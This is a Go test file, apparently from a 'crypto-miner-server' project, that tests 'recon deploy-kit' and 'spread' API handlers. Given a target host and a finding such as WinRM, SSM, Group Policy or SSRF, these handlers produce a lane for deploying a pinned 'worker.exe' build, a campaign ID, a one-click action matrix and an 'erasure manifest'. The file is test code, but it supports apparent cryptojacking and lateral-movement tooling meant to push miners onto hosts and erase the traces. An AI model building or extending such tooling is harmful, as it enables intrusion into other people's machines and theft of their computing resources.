Files
AetherForge/server/internal/api/recon_deploy_kit_test.go
AetherForge 06486b9bcb Add recon deploy action matrix and playbook wizard API.
Extend deploy-kit with pinned-build campaign attribution, SSRF erasure shards, and one-click action matrix; add playbook endpoint branching by target profile.
2026-06-07 12:15:04 -07:00

143 lines
4.3 KiB
Go

package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"os"
"path/filepath"
"testing"
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
func testReconSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler) {
t.Helper()
dir := t.TempDir()
root := t.TempDir()
writeSpreadTemplates(t, root)
artifact := filepath.Join(dir, "worker.exe")
if err := os.WriteFile(artifact, []byte("recon-kit-payload"), 0644); err != nil {
t.Fatal(err)
}
database, err := db.New(dir)
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
if err := database.InsertBuild(&models.BuildRecord{
ID: "build-recon", WorkerName: "recon-worker", Platform: "windows",
FilePath: artifact, Pinned: true,
}); err != nil {
t.Fatal(err)
}
deployH := NewDeployPlanHandler(database, dir, root,
func() string { return "https://deck.example" },
func() string { return "fleet-secret" },
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
)
spreadH := NewSpreadHandler(database, dir, root, nil)
spreadH.BindDeployPlan(deployH, func() string { return "https://deck.example" }, func() map[string]ServiceDeployLane {
return NormalizeServiceDeployAllowlist(nil)
})
return spreadH, deployH
}
func TestGetDeployKitWinRM(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var out map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
t.Fatal(err)
}
if out["join_lane"] != "winrm" {
t.Fatalf("join_lane: %v", out["join_lane"])
}
if out["campaign"] != "recon-10.1.2.50" {
t.Fatalf("campaign: %v", out["campaign"])
}
if out["action_matrix"] == nil {
t.Fatal("expected action_matrix")
}
}
func TestGetDeployKitActionMatrix(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM&open_ports=22", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
var out map[string]interface{}
json.Unmarshal(rec.Body.Bytes(), &out)
matrix, ok := out["action_matrix"].([]interface{})
if !ok || len(matrix) == 0 {
t.Fatalf("action_matrix: %v", out["action_matrix"])
}
}
func TestGetDeployKitSSRFErasureManifest(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=app.lab&finding=ssrf", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
var out map[string]interface{}
json.Unmarshal(rec.Body.Bytes(), &out)
if out["erasure_manifest"] == nil {
t.Fatal("missing erasure_manifest")
}
}
func TestGetDeployKitSSM(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.99&finding=ssm", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d", rec.Code)
}
}
func TestGetDeployKitRequiresHost(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?finding=WinRM", nil)
rec := httptest.NewRecorder()
spreadH.GetDeployKit(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("want 400 got %d", rec.Code)
}
}
func TestGetReconPlaybook(t *testing.T) {
spreadH, _ := testReconSpreadHandler(t)
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/playbook?host=127.0.0.1", nil)
rec := httptest.NewRecorder()
spreadH.GetReconPlaybook(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
}
var out map[string]interface{}
json.Unmarshal(rec.Body.Bytes(), &out)
if out["profile"] == nil {
t.Fatalf("profile missing: %v", out)
}
}
func TestResolveReconFinding(t *testing.T) {
_, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil))
if !ok || lane.Lane != "gpo" {
t.Fatalf("gpsvc lane=%q ok=%v", lane.Lane, ok)
}
}
func TestResolveReconFindingSSRF(t *testing.T) {
_, lane, ok := resolveReconFinding("ssrf", nil)
if !ok || lane.Lane != "stage_fetch" {
t.Fatalf("lane=%q ok=%v", lane.Lane, ok)
}
}